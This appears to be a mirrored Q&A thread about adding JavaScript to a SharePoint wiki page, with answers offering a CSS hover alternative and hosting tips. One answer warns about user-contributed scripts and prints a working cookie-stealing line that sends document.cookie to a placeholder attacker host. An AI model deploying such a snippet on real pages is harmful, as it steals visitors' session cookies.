Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How to enter Javascript into a wiki page?

How can I, as the wiki admin, enter scripting (Javascript) into a Sharepoint wiki page?

I would like to enter a title and, when clicking on that, having displayed under it a small explanation. I usually have done that with javascript, any other idea?

like image 596
Aidenn Avatar asked Sep 17 '08 21:09

Aidenn


People also ask

Can you use JavaScript in Wiki?

All Wikipedia pages include some built-in MediaWiki JavaScript code, with variables and functions that can be used in user scripts.

How do I edit a Wikipedia page in JavaScript?

Edit a Page You can edit an existing page by clicking the Pencil icon at the bottom-right corner of any page or using the Page Menu, located at the top-right corner of the page. The editor selected when first creating the page will be loaded automatically.

What is Wiki JS used for?

Wiki. js offers various editors depending on the type of content you want to write or simply user preference. Developers will usually go with the Markdown editor while non-technical users may prefer the Visual Editor.


4 Answers

If the wiki authors are wise, there's probably no way to do this.

The problem with user-contributed JavaScript is that it opens the door for all forms of evil-doers to grab data from the unsuspecting.

Let's suppose evil-me posts a script on a public web site:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Now I will receive the cookie information of each visitor to the page, posted to a log on my server. And that's just the tip of the iceberg.

like image 71
pcorcoran Avatar answered Oct 07 '22 23:10

pcorcoran


Assuming you're the administrator of the wiki and are willing display this on mouseover instead of on click, you don't need javascript at all -- you can use straight CSS. Here's an example of the styles and markup:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

With some more involved styles, your tooltip box can look as nice as you'd like.

like image 28
Nate Avatar answered Oct 07 '22 21:10

Nate


It completely depends on the specific Wiki software you are using. The way I've seen work is to host a js file somewhere else and then include with a script tag with a src attribute.

If they don't allow that, maybe they allow an IFRAME that you can set to a page that includes the script. Using the second technique, you won't be allowed to access the host page's DOM.

like image 32
Lou Franco Avatar answered Oct 07 '22 23:10

Lou Franco


I like the CSS answer. When you can use CSS instead of Javascript it results in simpler markup.
Another thing to look into is the Community Kit for SharePoint Enhanced Wiki Edition on Codeplex. You can download the source code and add in your own features. Or you can suggest this as a new feature in the forum.

like image 45
Tom Resing Avatar answered Oct 07 '22 22:10

Tom Resing